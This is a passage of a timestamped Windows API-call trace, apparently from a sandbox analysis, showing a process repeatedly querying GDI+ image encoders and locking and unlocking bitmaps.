	[0050.828] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77dd370 | out: encoders=0x77dd370) returned 0x0
	[0050.828] GdipBitmapLockBits (bitmap=0x78fb600, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x278f6d4) returned 0x0
	[0050.828] GdipBitmapUnlockBits (bitmap=0x78fb600, lockedBitmapData=0x278f6d4) returned 0x0
	[0050.828] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.828] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77dd370 | out: encoders=0x77dd370) returned 0x0
	[0050.829] GdipBitmapLockBits (bitmap=0x78fb948, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27925b4) returned 0x0
	[0050.829] GdipBitmapUnlockBits (bitmap=0x78fb948, lockedBitmapData=0x27925b4) returned 0x0
	[0050.829] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.829] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77de370 | out: encoders=0x77de370) returned 0x0
	[0050.830] GdipBitmapLockBits (bitmap=0x78fbc90, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2795494) returned 0x0
	[0050.831] GdipBitmapUnlockBits (bitmap=0x78fbc90, lockedBitmapData=0x2795494) returned 0x0
	[0050.831] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.831] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77ee370 | out: encoders=0x77ee370) returned 0x0
	[0050.831] GdipBitmapLockBits (bitmap=0x78fbfd8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2798374) returned 0x0
	[0050.831] GdipBitmapUnlockBits (bitmap=0x78fbfd8, lockedBitmapData=0x2798374) returned 0x0
	[0050.832] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.832] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77ee370 | out: encoders=0x77ee370) returned 0x0
	[0050.832] GdipBitmapLockBits (bitmap=0x78fc320, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x279b254) returned 0x0
	[0050.832] GdipBitmapUnlockBits (bitmap=0x78fc320, lockedBitmapData=0x279b254) returned 0x0
	[0050.833] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.833] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77ee370 | out: encoders=0x77ee370) returned 0x0
	[0050.833] GdipBitmapLockBits (bitmap=0x78fc668, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x279e134) returned 0x0
	[0050.834] GdipBitmapUnlockBits (bitmap=0x78fc668, lockedBitmapData=0x279e134) returned 0x0
	[0050.834] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.834] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77ee370 | out: encoders=0x77ee370) returned 0x0
	[0050.834] GdipBitmapLockBits (bitmap=0x78fc9b0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27a1014) returned 0x0
	[0050.834] GdipBitmapUnlockBits (bitmap=0x78fc9b0, lockedBitmapData=0x27a1014) returned 0x0
	[0050.834] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.835] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f0370 | out: encoders=0x77f0370) returned 0x0
	[0050.835] GdipBitmapLockBits (bitmap=0x78fccf8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27a3ef4) returned 0x0
	[0050.835] GdipBitmapUnlockBits (bitmap=0x78fccf8, lockedBitmapData=0x27a3ef4) returned 0x0
	[0050.835] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.836] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f0370 | out: encoders=0x77f0370) returned 0x0
	[0050.836] GdipBitmapLockBits (bitmap=0x78fd040, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27a6dd4) returned 0x0
	[0050.836] GdipBitmapUnlockBits (bitmap=0x78fd040, lockedBitmapData=0x27a6dd4) returned 0x0
	[0050.836] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.836] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f0370 | out: encoders=0x77f0370) returned 0x0
	[0050.837] GdipBitmapLockBits (bitmap=0x78fd388, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27a9cb4) returned 0x0
	[0050.838] GdipBitmapUnlockBits (bitmap=0x78fd388, lockedBitmapData=0x27a9cb4) returned 0x0
	[0050.838] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.838] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f0370 | out: encoders=0x77f0370) returned 0x0
	[0050.838] GdipBitmapLockBits (bitmap=0x78fd6d0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27acb94) returned 0x0
	[0050.838] GdipBitmapUnlockBits (bitmap=0x78fd6d0, lockedBitmapData=0x27acb94) returned 0x0
	[0050.838] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.839] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f0370 | out: encoders=0x77f0370) returned 0x0
	[0050.839] GdipBitmapLockBits (bitmap=0x78fda18, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27afa74) returned 0x0
	[0050.839] GdipBitmapUnlockBits (bitmap=0x78fda18, lockedBitmapData=0x27afa74) returned 0x0
	[0050.839] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.840] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f0370 | out: encoders=0x77f0370) returned 0x0
	[0050.840] GdipBitmapLockBits (bitmap=0x78fdd60, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27b2954) returned 0x0
	[0050.841] GdipBitmapUnlockBits (bitmap=0x78fdd60, lockedBitmapData=0x27b2954) returned 0x0
	[0050.841] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.841] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f0370 | out: encoders=0x77f0370) returned 0x0
	[0050.842] GdipBitmapLockBits (bitmap=0x78fe0a8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27b5834) returned 0x0
	[0050.842] GdipBitmapUnlockBits (bitmap=0x78fe0a8, lockedBitmapData=0x27b5834) returned 0x0
	[0050.842] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.842] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f0370 | out: encoders=0x77f0370) returned 0x0
	[0050.843] GdipBitmapLockBits (bitmap=0x78fe3f0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27b8714) returned 0x0
	[0050.843] GdipBitmapUnlockBits (bitmap=0x78fe3f0, lockedBitmapData=0x27b8714) returned 0x0
	[0050.843] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.844] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f0370 | out: encoders=0x77f0370) returned 0x0
	[0050.844] GdipBitmapLockBits (bitmap=0x78fe738, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27bb5f4) returned 0x0
	[0050.844] GdipBitmapUnlockBits (bitmap=0x78fe738, lockedBitmapData=0x27bb5f4) returned 0x0
	[0050.844] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.845] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f2370 | out: encoders=0x77f2370) returned 0x0
	[0050.845] GdipBitmapLockBits (bitmap=0x78fea80, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27be4d4) returned 0x0
	[0050.845] GdipBitmapUnlockBits (bitmap=0x78fea80, lockedBitmapData=0x27be4d4) returned 0x0
	[0050.845] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.846] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.846] GdipBitmapLockBits (bitmap=0x78fedc8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27c13b4) returned 0x0
	[0050.846] GdipBitmapUnlockBits (bitmap=0x78fedc8, lockedBitmapData=0x27c13b4) returned 0x0
	[0050.846] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.846] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.847] GdipBitmapLockBits (bitmap=0x7913c60, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27c4294) returned 0x0
	[0050.847] GdipBitmapUnlockBits (bitmap=0x7913c60, lockedBitmapData=0x27c4294) returned 0x0
	[0050.847] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.848] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.848] GdipBitmapLockBits (bitmap=0x7913fa8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27c7174) returned 0x0
	[0050.848] GdipBitmapUnlockBits (bitmap=0x7913fa8, lockedBitmapData=0x27c7174) returned 0x0
	[0050.848] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.848] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.849] GdipBitmapLockBits (bitmap=0x79142f0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27ca054) returned 0x0
	[0050.849] GdipBitmapUnlockBits (bitmap=0x79142f0, lockedBitmapData=0x27ca054) returned 0x0
	[0050.849] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.849] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.849] GdipBitmapLockBits (bitmap=0x7914638, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27ccf34) returned 0x0
	[0050.850] GdipBitmapUnlockBits (bitmap=0x7914638, lockedBitmapData=0x27ccf34) returned 0x0
	[0050.850] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.850] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.850] GdipBitmapLockBits (bitmap=0x7914980, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27cfe14) returned 0x0
	[0050.850] GdipBitmapUnlockBits (bitmap=0x7914980, lockedBitmapData=0x27cfe14) returned 0x0
	[0050.851] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.851] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.851] GdipBitmapLockBits (bitmap=0x7914cc8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27d2cf4) returned 0x0
	[0050.851] GdipBitmapUnlockBits (bitmap=0x7914cc8, lockedBitmapData=0x27d2cf4) returned 0x0
	[0050.851] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.851] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.852] GdipBitmapLockBits (bitmap=0x7915010, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27d5bd4) returned 0x0
	[0050.852] GdipBitmapUnlockBits (bitmap=0x7915010, lockedBitmapData=0x27d5bd4) returned 0x0
	[0050.852] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.852] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.853] GdipBitmapLockBits (bitmap=0x7915358, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27d8ab4) returned 0x0
	[0050.853] GdipBitmapUnlockBits (bitmap=0x7915358, lockedBitmapData=0x27d8ab4) returned 0x0
	[0050.853] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.853] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.854] GdipBitmapLockBits (bitmap=0x79156a0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27db994) returned 0x0
	[0050.854] GdipBitmapUnlockBits (bitmap=0x79156a0, lockedBitmapData=0x27db994) returned 0x0
	[0050.854] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.854] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.854] GdipBitmapLockBits (bitmap=0x79159e8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27de874) returned 0x0
	[0050.855] GdipBitmapUnlockBits (bitmap=0x79159e8, lockedBitmapData=0x27de874) returned 0x0
	[0050.855] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.855] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.855] GdipBitmapLockBits (bitmap=0x7915d30, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27e1754) returned 0x0
	[0050.855] GdipBitmapUnlockBits (bitmap=0x7915d30, lockedBitmapData=0x27e1754) returned 0x0
	[0050.856] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.856] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.856] GdipBitmapLockBits (bitmap=0x7916078, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27e4634) returned 0x0
	[0050.856] GdipBitmapUnlockBits (bitmap=0x7916078, lockedBitmapData=0x27e4634) returned 0x0
	[0050.856] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.857] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.857] GdipBitmapLockBits (bitmap=0x79163c0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27e7514) returned 0x0
	[0050.857] GdipBitmapUnlockBits (bitmap=0x79163c0, lockedBitmapData=0x27e7514) returned 0x0
	[0050.857] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.857] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.858] GdipBitmapLockBits (bitmap=0x7916708, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27ea3f4) returned 0x0
	[0050.858] GdipBitmapUnlockBits (bitmap=0x7916708, lockedBitmapData=0x27ea3f4) returned 0x0
	[0050.858] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.858] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.858] GdipBitmapLockBits (bitmap=0x7916a50, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27ed2d4) returned 0x0
	[0050.859] GdipBitmapUnlockBits (bitmap=0x7916a50, lockedBitmapData=0x27ed2d4) returned 0x0
	[0050.859] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.859] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f3370 | out: encoders=0x77f3370) returned 0x0
	[0050.859] GdipBitmapLockBits (bitmap=0x7916d98, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27f01b4) returned 0x0
	[0050.859] GdipBitmapUnlockBits (bitmap=0x7916d98, lockedBitmapData=0x27f01b4) returned 0x0
	[0050.860] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.860] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f4358 | out: encoders=0x77f4358) returned 0x0
	[0050.860] GdipBitmapLockBits (bitmap=0x79170e0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27f3094) returned 0x0
	[0050.860] GdipBitmapUnlockBits (bitmap=0x79170e0, lockedBitmapData=0x27f3094) returned 0x0
	[0050.860] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.860] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f4b58 | out: encoders=0x77f4b58) returned 0x0
	[0050.861] GdipBitmapLockBits (bitmap=0x7917428, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27f5f74) returned 0x0
	[0050.861] GdipBitmapUnlockBits (bitmap=0x7917428, lockedBitmapData=0x27f5f74) returned 0x0
	[0050.861] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.861] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f4b58 | out: encoders=0x77f4b58) returned 0x0
	[0050.862] GdipBitmapLockBits (bitmap=0x7917770, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27f8e54) returned 0x0
	[0050.862] GdipBitmapUnlockBits (bitmap=0x7917770, lockedBitmapData=0x27f8e54) returned 0x0
	[0050.862] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.862] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f4b58 | out: encoders=0x77f4b58) returned 0x0
	[0050.863] GdipBitmapLockBits (bitmap=0x7917ab8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27fbd34) returned 0x0
	[0050.863] GdipBitmapUnlockBits (bitmap=0x7917ab8, lockedBitmapData=0x27fbd34) returned 0x0
	[0050.863] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.863] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f6b58 | out: encoders=0x77f6b58) returned 0x0
	[0050.864] GdipBitmapLockBits (bitmap=0x7917e00, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27fec14) returned 0x0
	[0050.864] GdipBitmapUnlockBits (bitmap=0x7917e00, lockedBitmapData=0x27fec14) returned 0x0
	[0050.864] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.864] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f6b58 | out: encoders=0x77f6b58) returned 0x0
	[0050.865] GdipBitmapLockBits (bitmap=0x7918148, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2801af4) returned 0x0
	[0050.865] GdipBitmapUnlockBits (bitmap=0x7918148, lockedBitmapData=0x2801af4) returned 0x0
	[0050.865] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.865] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f6b58 | out: encoders=0x77f6b58) returned 0x0
	[0050.866] GdipBitmapLockBits (bitmap=0x7918490, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28049d4) returned 0x0
	[0050.866] GdipBitmapUnlockBits (bitmap=0x7918490, lockedBitmapData=0x28049d4) returned 0x0
	[0050.866] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.866] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f6b58 | out: encoders=0x77f6b58) returned 0x0
	[0050.867] GdipBitmapLockBits (bitmap=0x79187d8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28078b4) returned 0x0
	[0050.867] GdipBitmapUnlockBits (bitmap=0x79187d8, lockedBitmapData=0x28078b4) returned 0x0
	[0050.867] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.867] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f6b58 | out: encoders=0x77f6b58) returned 0x0
	[0050.868] GdipBitmapLockBits (bitmap=0x7918b20, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x280a794) returned 0x0
	[0050.868] GdipBitmapUnlockBits (bitmap=0x7918b20, lockedBitmapData=0x280a794) returned 0x0
	[0050.868] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.868] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f6b58 | out: encoders=0x77f6b58) returned 0x0
	[0050.868] GdipBitmapLockBits (bitmap=0x7918e68, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x280d674) returned 0x0
	[0050.869] GdipBitmapUnlockBits (bitmap=0x7918e68, lockedBitmapData=0x280d674) returned 0x0
	[0050.869] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.869] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f6b58 | out: encoders=0x77f6b58) returned 0x0
	[0050.869] GdipBitmapLockBits (bitmap=0x79191b0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2810554) returned 0x0
	[0050.870] GdipBitmapUnlockBits (bitmap=0x79191b0, lockedBitmapData=0x2810554) returned 0x0
	[0050.870] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.870] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f6b58 | out: encoders=0x77f6b58) returned 0x0
	[0050.870] GdipBitmapLockBits (bitmap=0x79194f8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2813434) returned 0x0
	[0050.870] GdipBitmapUnlockBits (bitmap=0x79194f8, lockedBitmapData=0x2813434) returned 0x0
	[0050.870] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.871] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f6b58 | out: encoders=0x77f6b58) returned 0x0
	[0050.872] GdipBitmapLockBits (bitmap=0x7919840, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2816314) returned 0x0
	[0050.872] GdipBitmapUnlockBits (bitmap=0x7919840, lockedBitmapData=0x2816314) returned 0x0
	[0050.872] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.872] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f6b58 | out: encoders=0x77f6b58) returned 0x0
	[0050.873] GdipBitmapLockBits (bitmap=0x7919b88, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28191f4) returned 0x0
	[0050.873] GdipBitmapUnlockBits (bitmap=0x7919b88, lockedBitmapData=0x28191f4) returned 0x0
	[0050.873] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.873] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77f6b58 | out: encoders=0x77f6b58) returned 0x0
	[0050.874] GdipBitmapLockBits (bitmap=0x7919ed0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x281c0d4) returned 0x0
	[0050.874] GdipBitmapUnlockBits (bitmap=0x7919ed0, lockedBitmapData=0x281c0d4) returned 0x0
	[0050.874] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.875] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7806f58 | out: encoders=0x7806f58) returned 0x0
	[0050.875] GdipBitmapLockBits (bitmap=0x791a218, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x281efb4) returned 0x0
	[0050.875] GdipBitmapUnlockBits (bitmap=0x791a218, lockedBitmapData=0x281efb4) returned 0x0
	[0050.875] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.875] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7806f58 | out: encoders=0x7806f58) returned 0x0
	[0050.876] GdipBitmapLockBits (bitmap=0x791a560, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2821e94) returned 0x0
	[0050.876] GdipBitmapUnlockBits (bitmap=0x791a560, lockedBitmapData=0x2821e94) returned 0x0
	[0050.876] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.876] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7806f58 | out: encoders=0x7806f58) returned 0x0
	[0050.877] GdipBitmapLockBits (bitmap=0x791a8a8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2824d74) returned 0x0
	[0050.877] GdipBitmapUnlockBits (bitmap=0x791a8a8, lockedBitmapData=0x2824d74) returned 0x0
	[0050.877] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.877] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7807f58 | out: encoders=0x7807f58) returned 0x0
	[0050.878] GdipBitmapLockBits (bitmap=0x791abf0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2827c54) returned 0x0
	[0050.878] GdipBitmapUnlockBits (bitmap=0x791abf0, lockedBitmapData=0x2827c54) returned 0x0
	[0050.878] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.878] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7807f58 | out: encoders=0x7807f58) returned 0x0
	[0050.878] GdipBitmapLockBits (bitmap=0x791af38, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x282ab34) returned 0x0
	[0050.879] GdipBitmapUnlockBits (bitmap=0x791af38, lockedBitmapData=0x282ab34) returned 0x0
	[0050.879] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.879] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7809f58 | out: encoders=0x7809f58) returned 0x0
	[0050.879] GdipBitmapLockBits (bitmap=0x791b280, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x282da14) returned 0x0
	[0050.879] GdipBitmapUnlockBits (bitmap=0x791b280, lockedBitmapData=0x282da14) returned 0x0
	[0050.879] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.880] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x7809f58 | out: encoders=0x7809f58) returned 0x0
	[0050.880] GdipBitmapLockBits (bitmap=0x791b5c8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28308f4) returned 0x0
	[0050.880] GdipBitmapUnlockBits (bitmap=0x791b5c8, lockedBitmapData=0x28308f4) returned 0x0
	[0050.880] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.880] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780a358 | out: encoders=0x780a358) returned 0x0
	[0050.882] GdipBitmapLockBits (bitmap=0x7934c60, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28337d4) returned 0x0
	[0050.882] GdipBitmapUnlockBits (bitmap=0x7934c60, lockedBitmapData=0x28337d4) returned 0x0
	[0050.882] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.882] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780a358 | out: encoders=0x780a358) returned 0x0
	[0050.882] GdipBitmapLockBits (bitmap=0x7934fa8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x28366b4) returned 0x0
	[0050.883] GdipBitmapUnlockBits (bitmap=0x7934fa8, lockedBitmapData=0x28366b4) returned 0x0
	[0050.883] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.883] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x780a358 | out: encoders=0x780a358) returned 0x0
